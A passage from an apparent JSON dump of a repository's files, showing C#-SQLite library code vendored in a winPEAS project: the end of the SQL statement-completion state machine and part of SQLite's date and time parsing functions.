(((c=C)&0x80)!=0 || (c>0x1f && sqlite3IsAsciiIdChar[c-0x20]))\n    static bool IdChar( u8 C ) { u8 c; return ( ( c = C ) & 0x80 ) != 0 || ( c > 0x1f && sqlite3IsAsciiIdChar[c - 0x20] ); }\n#endif\n#if  SQLITE_EBCDIC\n//extern const char sqlite3IsEbcdicIdChar[];\n//#define IdChar(C)  (((c=C)>=0x42 && sqlite3IsEbcdicIdChar[c-0x40]))\n#endif\n#endif // * SQLITE_AMALGAMATION */\n\n\n    /*\n** Token types used by the sqlite3_complete() routine.  See the header\n** comments on that procedure for additional information.\n*/\n    const int tkSEMI = 0;\n    const int tkWS = 1;\n    const int tkOTHER = 2;\n    const int tkEXPLAIN = 3;\n    const int tkCREATE = 4;\n    const int tkTEMP = 5;\n    const int tkTRIGGER = 6;\n    const int tkEND = 7;\n\n    /*\n    ** Return TRUE if the given SQL string ends in a semicolon.\n    **\n    ** Special handling is require for CREATE TRIGGER statements.\n    ** Whenever the CREATE TRIGGER keywords are seen, the statement\n    ** must end with \";END;\".\n    **\n    ** This implementation uses a state machine with 7 states:\n    **\n    **   (0) START     At the beginning or end of an SQL statement.  This routine\n    **                 returns 1 if it ends in the START state and 0 if it ends\n    **                 in any other state.\n    **\n    **   (1) NORMAL    We are in the middle of statement which ends with a single\n    **                 semicolon.\n    **\n    **   (2) EXPLAIN   The keyword EXPLAIN has been seen at the beginning of\n    **                 a statement.\n    **\n    **   (3) CREATE    The keyword CREATE has been seen at the beginning of a\n    **                 statement, possibly preceeded by EXPLAIN and/or followed by\n    **                 TEMP or TEMPORARY\n    **\n    **   (4) TRIGGER   We are in the middle of a trigger definition that must be\n    **                 ended by a semicolon, the keyword END, and another semicolon.\n    **\n    **   (5) SEMI      We've seen the first semicolon in the \";END;\" that occurs at\n    **                 the end of a trigger definition.\n    **\n    **   (6) END       We've seen the \";END\" of the \";END;\" that occurs at the end\n    **                 of a trigger difinition.\n    **\n    ** Transitions between states above are determined by tokens extracted\n    ** from the input.  The following tokens are significant:\n    **\n    **   (0) tkSEMI      A semicolon.\n    **   (1) tkWS        Whitespace\n    **   (2) tkOTHER     Any other SQL token.\n    **   (3) tkEXPLAIN   The \"explain\" keyword.\n    **   (4) tkCREATE    The \"create\" keyword.\n    **   (5) tkTEMP      The \"temp\" or \"temporary\" keyword.\n    **   (6) tkTRIGGER   The \"trigger\" keyword.\n    **   (7) tkEND       The \"end\" keyword.\n    **\n    ** Whitespace never causes a state transition and is always ignored.\n    **\n    ** If we compile with SQLITE_OMIT_TRIGGER, all of the computation needed\n    ** to recognize the end of a trigger can be omitted.  All we have to do\n    ** is look for a semicolon that is not part of an string or comment.\n    */\n    public static int sqlite3_complete( string zSql )\n    {\n      int state = 0;   /* Current state, using numbers defined in header comment */\n      int token;       /* Value of the next token */\n\n#if !SQLITE_OMIT_TRIGGER\n      /* A complex statement machine used to detect the end of a CREATE TRIGGER\n** statement.  This is the normal case.\n*/\n      u8[][] trans = new u8[][]       {\n/* Token:                                                */\n/* State:       **  SEMI  WS  OTHER EXPLAIN  CREATE  TEMP  TRIGGER  END  */\n/* 0   START: */ new u8[] {    0,  0,     1,      2,      3,    1,       1,   1,  },\n/* 1  NORMAL: */  new u8[]{    0,  1,     1,      1,      1,    1,       1,   1,  },\n/* 2 EXPLAIN: */  new u8[]{    0,  2,     2,      1,      3,    1,       1,   1,  },\n/* 3  CREATE: */  new u8[]{    0,  3,     1,      1,      1,    3,       4,   1,  },\n/* 4 TRIGGER: */  new u8[]{    5,  4,     4,      4,      4,    4,       4,   4,  },\n/* 5    SEMI: */  new u8[]{    5,  5,     4,      4,      4,    4,       4,   6,  },\n/* 6     END: */  new u8[]{    0,  6,     4,      4,      4,    4,       4,   4,  },\n};\n#else\n/* If triggers are not suppored by this compile then the statement machine\n** used to detect the end of a statement is much simplier\n*/\nstatic const u8 trans[2][3] = {\n/* Token:           */\n/* State:       **  SEMI  WS  OTHER */\n/* 0   START: */ {    0,  0,     1, },\n/* 1  NORMAL: */ {    0,  1,     1, },\n};\n#endif // * SQLITE_OMIT_TRIGGER */\n\n      int zIdx = 0;\n      while ( zIdx < zSql.Length )\n      {\n        switch ( zSql[zIdx] )\n        {\n          case ';':\n            {  /* A semicolon */\n              token = tkSEMI;\n              break;\n            }\n          case ' ':\n          case '\\r':\n          case '\\t':\n          case '\\n':\n          case '\\f':\n            {  /* White space is ignored */\n              token = tkWS;\n              break;\n            }\n          case '/':\n            {   /* C-style comments */\n              if ( zSql[zIdx + 1] != '*' )\n              {\n                token = tkOTHER;\n                break;\n              }\n              zIdx += 2;\n              while ( zIdx < zSql.Length && zSql[zIdx] != '*' || zIdx < zSql.Length - 1 && zSql[zIdx + 1] != '/' ) { zIdx++; }\n              if ( zIdx == zSql.Length ) return 0;\n              zIdx++;\n              token = tkWS;\n              break;\n            }\n          case '-':\n            {   /* SQL-style comments from \"--\" to end of line */\n              if ( zSql[zIdx + 1] != '-' )\n              {\n                token = tkOTHER;\n                break;\n              }\n              while ( zIdx < zSql.Length && zSql[zIdx] != '\\n' ) { zIdx++; }\n              if ( zIdx == zSql.Length ) return state == 0 ? 1 : 0;\n              token = tkWS;\n              break;\n            }\n          case '[':\n            {   /* Microsoft-style identifiers in [...] */\n              zIdx++;\n              while ( zIdx < zSql.Length && zSql[zIdx] != ']' ) { zIdx++; }\n              if ( zIdx == zSql.Length ) return 0;\n              token = tkOTHER;\n              break;\n            }\n          case '`':     /* Grave-accent quoted symbols used by MySQL */\n          case '\"':     /* single- and double-quoted strings */\n          case '\\'':\n            {\n              int c = zSql[zIdx];\n              zIdx++;\n              while ( zIdx < zSql.Length && zSql[zIdx] != c ) { zIdx++; }\n              if ( zIdx == zSql.Length ) return 0;\n              token = tkOTHER;\n              break;\n            }\n          default:\n            {\n              int c;\n              if ( IdChar( (u8)zSql[zIdx] ) )\n              {\n                /* Keywords and unquoted identifiers */\n                int nId;\n                for ( nId = 1 ; ( zIdx + nId ) < zSql.Length && IdChar( (u8)zSql[zIdx + nId] ) ; nId++ ) { }\n#if  SQLITE_OMIT_TRIGGER\ntoken = tkOTHER;\n#else\n                switch ( zSql[zIdx] )\n                {\n                  case 'c':\n                  case 'C':\n                    {\n                      if ( nId == 6 && sqlite3StrNICmp( zSql, zIdx, \"create\", 6 ) == 0 )\n                      {\n                        token = tkCREATE;\n                      }\n                      else\n                      {\n                        token = tkOTHER;\n                      }\n                      break;\n                    }\n                  case 't':\n                  case 'T':\n                    {\n                      if ( nId == 7 && sqlite3StrNICmp( zSql, zIdx, \"trigger\", 7 ) == 0 )\n                      {\n                        token = tkTRIGGER;\n                      }\n                      else if ( nId == 4 && sqlite3StrNICmp( zSql, zIdx, \"temp\", 4 ) == 0 )\n                      {\n                        token = tkTEMP;\n                      }\n                      else if ( nId == 9 && sqlite3StrNICmp( zSql, zIdx, \"temporary\", 9 ) == 0 )\n                      {\n                        token = tkTEMP;\n                      }\n                      else\n                      {\n                        token = tkOTHER;\n                      }\n                      break;\n                    }\n                  case 'e':\n                  case 'E':\n                    {\n                      if ( nId == 3 && sqlite3StrNICmp( zSql, zIdx, \"end\", 3 ) == 0 )\n                      {\n                        token = tkEND;\n                      }\n                      else\n#if ! SQLITE_OMIT_EXPLAIN\n                        if ( nId == 7 && sqlite3StrNICmp( zSql, zIdx, \"explain\", 7 ) == 0 )\n                        {\n                          token = tkEXPLAIN;\n                        }\n                        else\n#endif\n                        {\n                          token = tkOTHER;\n                        }\n                      break;\n                    }\n                  default:\n                    {\n                      token = tkOTHER;\n                      break;\n                    }\n                }\n#endif // * SQLITE_OMIT_TRIGGER */\n                zIdx += nId - 1;\n              }\n              else\n              {\n                /* Operators and special symbols */\n                token = tkOTHER;\n              }\n              break;\n            }\n        }\n        state = trans[state][token];\n        zIdx++;\n      }\n      return ( state == 0 ) ? 1 : 0;\n    }\n\n#if ! SQLITE_OMIT_UTF16\n/*\n** This routine is the same as the sqlite3_complete() routine described\n** above, except that the parameter is required to be UTF-16 encoded, not\n** UTF-8.\n*/\nint sqlite3_complete16(const void *zSql){\nsqlite3_value pVal;\nchar const *zSql8;\nint rc = SQLITE_NOMEM;\n\n#if !SQLITE_OMIT_AUTOINIT\nrc = sqlite3_initialize();\nif( rc !=0) return rc;\n#endif\npVal = sqlite3ValueNew(0);\nsqlite3ValueSetStr(pVal, -1, zSql, SQLITE_UTF16NATIVE, SQLITE_STATIC);\nzSql8 = sqlite3ValueText(pVal, SQLITE_UTF8);\nif( zSql8 ){\nrc = sqlite3_complete(zSql8);\n}else{\nrc = SQLITE_NOMEM;\n}\nsqlite3ValueFree(pVal);\nreturn sqlite3ApiExit(0, rc);\n}\n#endif // * SQLITE_OMIT_UTF16 */\n#endif // * SQLITE_OMIT_COMPLETE */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/date_c.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing System.Text;\nusing time_t = System.Int64;\nusing sqlite3_int64 = System.Int64;\nusing i64 = System.Int64;\nusing u64 = System.UInt64;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using sqlite3_value = CSSQLite.Mem;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2003 October 31\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains the C functions that implement date and time\n    ** functions for SQLite.\n    **\n    ** There is only one exported symbol in this file - the function\n    ** sqlite3RegisterDateTimeFunctions() found at the bottom of the file.\n    ** All other code has file scope.\n    **\n    ** $Id: date.c,v 1.107 2009/05/03 20:23:53 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    **\n    ** SQLite processes all times and dates as Julian Day numbers.  The\n    ** dates and times are stored as the number of days since noon\n    ** in Greenwich on November 24, 4714 B.C. according to the Gregorian\n    ** calendar system.\n    **\n    ** 1970-01-01 00:00:00 is JD 2440587.5\n    ** 2000-01-01 00:00:00 is JD 2451544.5\n    **\n    ** This implemention requires years to be expressed as a 4-digit number\n    ** which means that only dates between 0000-01-01 and 9999-12-31 can\n    ** be represented, even though julian day numbers allow a much wider\n    ** range of dates.\n    **\n    ** The Gregorian calendar system is used for all dates and times,\n    ** even those that predate the Gregorian calendar.  Historians usually\n    ** use the Julian calendar for dates prior to 1582-10-15 and for some\n    ** dates afterwards, depending on locale.  Beware of this difference.\n    **\n    ** The conversion algorithms are implemented based on descriptions\n    ** in the following text:\n    **\n    **      Jean Meeus\n    **      Astronomical Algorithms, 2nd Edition, 1998\n    **      ISBM 0-943396-61-1\n    **      Willmann-Bell, Inc\n    **      Richmond, Virginia (USA)\n    */\n    //#include \"sqliteInt.h\"\n    //#include <stdlib.h>\n    //#include <assert.h>\n    //#include <time.h>\n\n#if !SQLITE_OMIT_DATETIME_FUNCS\n\n    /*\n** On recent Windows platforms, the localtime_s() function is available\n** as part of the \"Secure CRT\". It is essentially equivalent to\n** localtime_r() available under most POSIX platforms, except that the\n** order of the parameters is reversed.\n**\n** See http://msdn.microsoft.com/en-us/library/a442x3ye(VS.80).aspx.\n**\n** If the user has not indicated to use localtime_r() or localtime_s()\n** already, check for an MSVC build environment that provides\n** localtime_s().\n*/\n#if !(HAVE_LOCALTIME_R) && !(HAVE_LOCALTIME_S) &&      (_MSC_VER) && (_CRT_INSECURE_DEPRECATE)\n#define HAVE_LOCALTIME_S\n#endif\n\n    /*\n** A structure for holding a single date and time.\n*/\n    //typedef struct DateTime DateTime;\n    public class DateTime\n    {\n      public sqlite3_int64 iJD; /* The julian day number times 86400000 */\n      public int Y, M, D;       /* Year, month, and day */\n      public int h, m;          /* Hour and minutes */\n      public int tz;            /* Timezone offset in minutes */\n      public double s;          /* Seconds */\n      public byte validYMD;     /* True (1) if Y,M,D are valid */\n      public byte validHMS;     /* True (1) if h,m,s are valid */\n      public byte validJD;      /* True (1) if iJD is valid */\n      public byte validTZ;      /* True (1) if tz is valid */\n\n      public void CopyTo( DateTime ct )\n      {\n        ct.iJD = iJD;\n        ct.Y = Y;\n        ct.M = M;\n        ct.D = D;\n        ct.h = h;\n        ct.m = m;\n        ct.tz = tz;\n        ct.s = s;\n        ct.validYMD = validYMD;\n        ct.validHMS = validHMS;\n        ct.validJD = validJD;\n        ct.validTZ = validJD;\n      }\n    };\n\n\n    /*\n    ** Convert zDate into one or more integers.  Additional arguments\n    ** come in groups of 5 as follows:\n    **\n    **       N       number of digits in the integer\n    **       min     minimum allowed value of the integer\n    **       max     maximum allowed value of the integer\n    **       nextC   first character after the integer\n    **       pVal    where to write the integers value.\n    **\n    ** Conversions continue until one with nextC==0 is encountered.\n    ** The function returns the number of successful conversions.\n    */\n    static int getDigits( string zDate, int N0, int min0, int max0, char nextC0, ref int pVal0, int N1, int min1, int max1, char nextC1, ref int pVal1 )\n    {\n      int c0 = getDigits( zDate + '\\0', N0, min0, max0, nextC0, ref  pVal0 );\n      return c0 == 0 ? 0 : c0 + getDigits( zDate.Substring( zDate.IndexOf( nextC0 ) + 1 ) + '\\0', N1, min1, max1, nextC1, ref  pVal1 );\n    }\n    static int getDigits( string zDate, int N0, int min0, int max0, char nextC0, ref int pVal0, int N1, int min1, int max1, char nextC1, ref int pVal1, int N2, int min2, int max2, char nextC2, ref int pVal2 )\n    {\n      int c0 = getDigits( zDate + '\\0', N0, min0, max0, nextC0, ref  pVal0 );\n      if ( c0 == 0 ) return 0;\n      string zDate1 = zDate.Substring( zDate.IndexOf( nextC0 ) + 1 );\n      int c1 = getDigits( zDate1 + '\\0', N1, min1, max1, nextC1, ref  pVal1 );\n      if ( c1 == 0 ) return c0;\n      return c0 + c1 + getDigits( zDate1.Substring( zDate1.IndexOf( nextC1 ) + 1 ) + '\\0', N2, min2, max2, nextC2, ref  pVal2 );\n    }\n    static int getDigits( string zDate, int N, int min, int max, char nextC, ref int pVal )\n    {\n      //va_list ap;\n      int val;\n      //int N;\n      //int min;\n      //int max;\n      //char nextC;\n      //int pVal;\n      int cnt = 0;\n      //va_start( ap, zDate );\n      int zIndex = 0;\n      //do\n      //{\n      //N = (int)va_arg( ap, \"int\" );\n      //min = (int)va_arg( ap, \"int\" );\n      //max = (int)va_arg( ap, \"int\" );\n      //nextC = (char)va_arg( ap, \"char\" );\n      //pVal = (int)va_arg( ap, \"int\" );\n      val = 0;\n      while ( N-- != 0 )\n      {\n        if ( !sqlite3Isdigit( zDate[zIndex] ) )\n        {\n          goto end_getDigits;\n        }\n        val = val * 10 + zDate[zIndex] - '0';\n        zIndex++;\n      }\n      if ( val < min || val > max || zIndex < zDate.Length && ( nextC != 0 && nextC != zDate[zIndex] ) )\n      {\n        goto end_getDigits;\n      }\n      pVal = val;\n      zIndex++;\n      cnt++;\n//} while ( nextC != 0 && zIndex < zDate.Length );\nend_getDigits:\n      //va_end( ap );\n      return cnt;\n    }\n\n    /*\n    ** Read text from z[] and convert into a floating point number.  Return\n    ** the number of digits converted.\n    */\n    //#define getValue sqlite3AtoF\n\n    /*\n    ** Parse a timezone extension on the end of a date-time.\n    ** The extension is of the form:\n    **\n    **        (+/-)HH:MM\n    **\n    **\n    ** Or the \"zulu\" notation:\n    **\n    **        Z\n    **\n    ** If the parse is successful, write the number of minutes\n    ** of change in p.tz and return 0.  If a parser error occurs,\n    ** return non-zero.\n    **\n    ** A missing specifier is not considered an error.\n    */\n    static int parseTimezone( string zDate, DateTime p )\n    {\n      int sgn = 0;\n      int nHr = 0; int nMn = 0;\n      char c;\n      zDate = zDate.Trim();// while ( sqlite3Isspace( *(u8*)zDate ) ) { zDate++; }\n      p.tz = 0;\n      c = zDate.Length == 0 ? '\\0' : zDate[0];\n      if ( c == '-' )\n      {\n        sgn = -1;\n      }\n      else if ( c == '+' )\n      {\n        sgn = +1;\n      }\n      else if ( c == 'Z' || c == 'z' )\n      {\n        zDate = zDate.Substring( 1 ).Trim();//zDate++;\n        goto zulu_time;\n      }\n      else\n      {\n        return c != '\\0' ? 1 : 0;\n      }\n      //zDate++;\n      if ( getDigits( zDate.Substring( 1 ), 2, 0, 14, ':', ref nHr, 2, 0, 59, '\\0', ref nMn ) != 2 )\n      {\n        return 1;\n      }\n      //zDate += 5;\n      p.tz = sgn * ( nMn + nHr * 60 );\n      if ( zDate.Length == 6 ) zDate = \"\";\n      else if ( zDate.Length > 6 ) zDate = zDate.Substring( 6 ).Trim();// while ( sqlite3Isspace( *(u8*)zDate ) ) { zDate++; }\nzulu_time:\n      return zDate != \"\" ? 1 : 0;\n    }\n\n    /*\n    ** Parse times of the form HH:MM or HH:MM:SS or HH:MM:SS.FFFF.\n    ** The HH, MM, and SS must each be exactly 2 digits.  The\n    ** fractional seconds FFFF can be one or more digits.\n    **\n    ** Return 1 if there is a parsing error and 0 on success.\n    */\n    static int parseHhMmSs( string zDate, DateTime p )\n    {\n      int h = 0; int m = 0; int s = 0;\n      double ms = 0.0;\n      if ( getDigits( zDate, 2, 0, 24, ':', ref  h, 2, 0, 59, '\\0', ref  m ) != 2 )\n      {\n        return 1;\n      }\n      int zIndex = 5;// zDate += 5;\n      if ( zIndex < zDate.Length && zDate[zIndex] == ':' )\n      {\n        zIndex++;// zDate++;\n        if ( getDigits( zDate.Substring( zIndex ), 2, 0, 59, '\\0', ref s ) != 1 )\n        {\n          return 1;\n        }\n        zIndex += 2;// zDate += 2;\n        if ( zIndex + 1 < zDate.Length && zDate[zIndex] == '.' && sqlite3Isdigit( zDate[zIndex + 1] ) )\n        {\n          double rScale = 1.0;\n          zIndex++;// zDate++;\n          while ( zIndex < zDate.Length && sqlite3Isdigit( zDate[zIndex] )\n          )\n          {\n            ms = ms * 10.0 + zDate[zIndex] - '0';\n            rScale *= 10.0;\n            zIndex++;//zDate++;\n          }\n          ms /= rScale;\n        }\n      }\n      else\n      {\n        s = 0;\n      }\n      p.validJD = 0;\n      p.validHMS = 1;\n      p.h = h;\n      p.m = m;\n      p.s = s + ms;\n      if ( zIndex < zDate.Length && parseTimezone( zDate.Substring( zIndex ), p ) != 0 ) return 1;\n      p.validTZ = (byte)( ( p.tz != 0 ) ? 1 : 0 );\n      return 0;\n    }\n\n    /*\n    ** Convert from YYYY-MM-DD HH:MM:SS to julian day.  We always assume\n    ** that the YYYY-MM-DD is according to the Gregorian calendar.\n    **\n    ** Reference:  Meeus page 61\n    */\n    static void computeJD( DateTime p )\n    {\n      int Y, M, D, A, B, X1, X2;\n\n      if ( p.validJD != 0 ) return;\n      if ( p.validYMD != 0 )\n      {\n        Y = p.Y;\n        M = p.M;\n        D = p.D;\n      }\n      else\n      {\n        Y = 2000;  /* If no YMD specified, assume 2000-Jan-01 */\n        M = 1;\n        D = 1;\n      }\n      if ( M <= 2 )\n      {\n        Y--;\n        M += 12;\n      }\n      A = Y / 100;\n      B = 2 - A + ( A / 4 );\n      X1 = (int)( 36525 * ( Y + 4716 ) / 100 );\n      X2 = (int)( 306001 * ( M + 1 ) / 10000 );\n      p.iJD = (long)( ( X1 + X2 + D + B - 1524.5 ) * 86400000 );\n      p.validJD = 1;\n      if ( p.validHMS != 0 )\n      {\n        p.iJD += (long)( p.h * 3600000 + p.m * 60000 + p.s * 1000 );\n        if ( p.validTZ != 0 )\n        {\n          p.iJD -= p.tz * 60000;\n          p.validYMD = 0;\n          p.validHMS = 0;\n          p.validTZ = 0;\n        }\n      }\n    }\n\n    /*\n    ** Parse dates of the form\n    **\n    **     YYYY-MM-DD HH:MM:SS.FFF\n    **     YYYY-MM-DD HH:MM:SS\n    **     YYYY-MM-DD HH:MM\n    **     YYYY-MM-DD\n    **\n    ** Write the result into the DateTime structure and return 0\n    ** on success and 1 if the input string is not a well-formed\n    ** date.\n    */\n    static int parseYyyyMmDd( string zDate, DateTime p )\n    {\n      int Y = 0; int M = 0; int D = 0; bool neg;\n\n      int zIndex = 0;\n      if ( zDate[zIndex] == '-' )\n      {\n        zIndex++;// zDate++;\n        neg = true;\n      }\n      else\n      {\n        neg = false;\n      }\n      if ( getDigits( zDate.Substring( zIndex ), 4, 0, 9999, '-', ref Y, 2, 1, 12, '-', ref M, 2, 1, 31, '\\0', ref D ) != 3 )\n      {\n        return 1;\n      }\n      zIndex += 10;// zDate += 10;\n      while ( zIndex < zDate.Length && ( sqlite3Isspace( zDate[zIndex] ) || 'T' == zDate[zIndex] ) ) { zIndex++; }//zDate++; }\n      if ( zIndex < zDate.Length && parseHhMmSs( zDate.Substring( zIndex ), p ) == 0 )\n      {\n        /* We got the time */\n      }\n      else if ( zIndex >= zDate.Length )// zDate[zIndex] == '\\0')\n      {\n        p.validHMS = 0;\n      }\n      else\n      {\n        return 1;\n      }\n      p.validJD = 0;\n      p.validYMD = 1;\n      p.Y = neg ? -Y : Y;\n      p.M = M;\n      p.D = D;\n      if ( p.validTZ != 0 )\n      {\n        computeJD( p );\n      }\n      return 0;\n    }\n\n    /*\n    ** Set the time to the current time reported by the VFS\n    */\n    static void setDateTimeToCurrent( sqlite3_context context, DateTime p )\n    {\n      double r = 0;\n      sqlite3 db = sqlite3_context_db_handle( context );\n      sqlite3OsCurrentTime( db.pVfs, ref r );\n      p.iJD = (sqlite3_int64)( r * 86400000.0 + 0.5 );\n      p.validJD = 1;\n    }\n\n    /*\n    ** Attempt to parse the given string into a Julian Day Number.  Return\n    ** the number of errors.\n    **\n    ** The following are acceptable forms for the input string:\n    **\n    **      YYYY-MM-DD HH:MM:SS.FFF  +/-HH:MM\n    **      DDDD.DD\n    **      now\n    **\n    ** In the first form, the +/-HH:MM is always optional.  The fractional\n    ** seconds extension (the \".FFF\") is optional.  The seconds portion\n    ** (\":SS.FFF\") is option.  The year and date can be omitted as long\n    ** as there is a time string.  The time string can be omitted as long\n    ** as there is a year and date.\n    */\n    static int parseDateOrTime(\n    sqlite3_context context,\n    string zDate,\n    ref DateTime p\n    )\n    {\n      int isRealNum = 0;    /* Return from sqlite3IsNumber().  Not used */\n      if ( parseYyyyMmDd( zDate, p ) == 0 )\n      {\n        return 0;\n      }\n      else if ( parseHhMmSs( zDate, p ) == 0 )\n      {\n        return 0;\n      }\n      else if ( sqlite3StrICmp( zDate, \"now\" ) == 0 )\n      {\n        setDateTimeToCurrent( context, p );\n        return 0;\n      }\n      else if ( sqlite3IsNumber( zDate, ref isRealNum, SQLITE_UTF8 ) != 0 )\n      {\n        double r = 0;\n        sqlite3AtoF( zDate, ref r );// getValue( zDate, ref r );\n        p.iJD = (sqlite3_int64)( r * 86400000.0 + 0.5 );\n        p.validJD = 1;\n        return 0;\n      }\n      return 1;\n    }\n\n    /*\n    ** Compute the Year, Month, and Day from the julian day number.\n    */\n    static void computeYMD( DateTime p )\n    {\n      int Z, A, B, C, D, E, X1;\n      if ( p.validYMD != 0 ) return;\n      if ( 0 == p.validJD )\n      {\n        p.Y = 2000;\n        p.M = 1;\n        p.D = 1;\n      }\n      else\n      {\n        Z = (int)( ( p.iJD + 43200000 ) / 86400000 );\n        A = (int)( ( Z - 1867216.25 ) / 36524.25 );\n        A = Z + 1 + A - ( A / 4 );\n        B = A + 1524;\n        C = (int)( ( B - 122.1 ) / 365.25 );\n        D = (int)( ( 36525 * C ) / 100 );\n        E = (int)( ( B - D ) / 30.6001 );\n        X1 = (int)( 30.6001 * E );\n        p.D = B - D - X1;\n        p.M = E < 14 ? E - 1 : E - 13;\n        p.Y = p.M > 2 ? C - 4716 : C - 4715;\n      }\n      p.validYMD = 1;\n    }\n\n    /*\n    ** Compute the Hour, Minute, and Seconds from the julian day number.\n    */\n    static void computeHMS( DateTime p )\n    {\n      int s;\n      if ( p.validHMS != 0 ) return;\n      computeJD( p );\n      s = (int)( ( p.iJD + 43200000 ) % 86400000 );\n      p.s = s / 1000.0;\n      s = (int)p.s;\n      p.s -= s;\n      p.h = s / 3600;\n      s -= p.h * 3600;\n      p.m = s / 60;\n      p.s += s - p.m * 60;\n      p.validHMS = 1;\n    }\n\n    /*\n    ** Compute both YMD and HMS\n    */\n    static void computeYMD_HMS( DateTime p )\n    {\n      computeYMD( p );\n      computeHMS( p );\n    }\n\n    /*\n    ** Clear the YMD and HMS and the TZ\n    */\n    static void clearYMD_HMS_TZ( DateTime p )\n    {\n      p.validYMD = 0;\n      p.validHMS = 0;\n      p.validTZ = 0;\n    }\n\n#if !SQLITE_OMIT_LOCALTIME\n    /*\n** Compute the difference (in milliseconds)\n** between localtime and UTC (a.k.a. GMT)\n** for the time value p where p is in UTC.\n*/\n    static int localtimeOffset( DateTime p )\n    {\n      DateTime x; DateTime y = new DateTime();\n      time_t t;\n      x = p;\n      computeYMD_HMS( x );\n      if ( x.Y < 1971 || x.Y >= 2038 )\n      {\n        x.Y = 2000;\n        x.M = 1;\n        x.D = 1;\n        x.h = 0;\n        x.m = 0;\n        x.s = 0.0;\n      }\n      else\n      {\n        int s = (int)( x.s + 0.5 );\n        x.s = s;\n      }\n      x.tz = 0;\n      x.validJD = 0;\n      computeJD( x );\n      t = (long)( x.iJD / 1000 - 210866760000L );//  t = x.iJD/1000 - 21086676*(i64)10000;\n#if  HAVE_LOCALTIME_R\n{\nstruct tm sLocal;\nlocaltime_r(&t, sLocal);\ny.Y = sLocal.tm_year + 1900;\ny.M = sLocal.tm_mon + 1;\ny.D = sLocal.tm_mday;\ny.h = sLocal.tm_hour;\ny.m = sLocal.tm_min;\ny.s = sLocal.tm_sec;\n}\n#elif (HAVE_LOCALTIME_S)\n{\nstruct tm sLocal;\nlocaltime_s(&sLocal, t);\ny.Y = sLocal.tm_year + 1900;\ny.M = sLocal.tm_mon + 1;\ny.D = sLocal.tm_mday;\ny.h = sLocal.tm_hour;\ny.m = sLocal.tm_min;\ny.s = sLocal.tm_sec;\n}\n#else\n      {\n        tm pTm;\n        sqlite3_mutex_enter( sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ) );\n        pTm = localtime( t );\n        y.Y = pTm.tm_year;// +1900;\n        y.M = pTm.tm_mon;// +1;\n        y.D = pTm.tm_mday;\n        y.h = pTm.tm_hour;\n        y.m = pTm.tm_min;\n        y.s = pTm.tm_sec;\n        sqlite3_mutex_leave( sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ) );\n      }\n#endif\n      y.validYMD = 1;\n      y.validHMS = 1;\n      y.validJD = 0;\n      y.validTZ = 0;\n      computeJD( y );\n      return (int)( y.iJD - x.iJD );\n    }\n#endif //* SQLITE_OMIT_LOCALTIME */\n\n    /*\n** Process a modifier to a date-time stamp.  The modifiers are\n** as follows:\n**\n**     NNN days\n**     NNN hours\n**     NNN minutes\n**     NNN.NNNN seconds\n**     NNN months\n**     NNN years\n**     start of month\n**     start of year\n**     start of week\n**     start of day\n**     weekday N\n**     unixepoch\n**     localtime\n**     utc\n**\n** Return 0 on success and 1 if there is any kind of error.\n*/\n    static int parseModifier( string zMod, DateTime p )\n    {\n      int rc = 1;\n      int n;\n      double r = 0;\n      StringBuilder z = new StringBuilder( zMod.ToLower() );\n      string zBuf;//[30];\n      //z = zBuf;\n      //for(n=0; n<ArraySize(zBuf)-1 && zMod[n]; n++){\n      //  z.Append( zMod.Substring( n ).ToLower() );\n      //}\n      //z[n] = 0;\n      switch ( z[0] )\n#if !SQLITE_OMIT_LOCALTIME\n      {\n        case 'l':\n          {\n            /*    localtime\n            **\n            ** Assuming the current time value is UTC (a.k.a. GMT), shift it to\n            ** show local time.\n            */\n            if ( z.ToString() == \"localtime\" )\n            {\n              computeJD( p );\n              p.iJD += localtimeOffset( p );\n              clearYMD_HMS_TZ( p );\n              rc = 0;\n            }\n            break;\n          }\n#endif\n        case 'u':\n          {\n            /*\n            **    unixepoch\n            **\n            ** Treat the current value of p.iJD as the number of\n            ** seconds since 1970.  Convert to a real julian day number.\n            */\n            if ( z.ToString() == \"unixepoch\" && p.validJD != 0 )\n            {\n              p.iJD = (long)( ( p.iJD + 43200 ) / 86400 + 210866760000000L );//p->iJD = p->iJD/86400 + 21086676*(i64)10000000;\n              clearYMD_HMS_TZ( p );\n              rc = 0;\n            }\n#if   !SQLITE_OMIT_LOCALTIME\n            else if ( z.ToString() == \"utc\" )\n            {\n              int c1;\n              computeJD( p );\n              c1 = localtimeOffset( p );\n              p.iJD -= (long)c1;\n              clearYMD_HMS_TZ( p );\n              p.iJD += (long)( c1 - localtimeOffset( p ) );\n              rc = 0;\n            }\n#endif\n            break;\n          }\n        case 'w':\n          {\n            /*\n            **    weekday N\n            **\n            ** Move the date to the same time on the next occurrence of\n            ** weekday N where 0==Sunday, 1==Monday, and so forth.  If the\n            ** date is already on the appropriate weekday, this is a no-op.\n            */\n            if ( z.ToString().StartsWith( \"weekday \" ) && sqlite3AtoF( z.ToString().Substring( 8 ), ref r ) != 0 //getValue( z[8], ref r ) > 0\n            && ( n = (int)r ) == r && n >= 0 && r < 7 )\n            {\n              sqlite3_int64 Z;\n              computeYMD_HMS( p );\n              p.validTZ = 0;\n              p.validJD = 0;\n              computeJD( p );\n              Z = ( ( p.iJD + 129600000 ) / 86400000 ) % 7;\n              if ( Z > n ) Z -= 7;\n              p.iJD += ( n - Z ) * 86400000;\n              clearYMD_HMS_TZ( p );\n              rc = 0;\n            }\n            break;\n          }\n        case 's':\n          {\n            /*\n            **    start of TTTTT\n            **\n            ** Move the date backwards to the beginning of the current day,\n            ** or month or year.\n            */\n            if ( z.Length <= 9 ) z.Length = 0; else z.Remove( 0, 9 );//z += 9;\n            computeYMD( p );\n            p.validHMS = 1;\n            p.h = p.m = 0;\n            p.s = 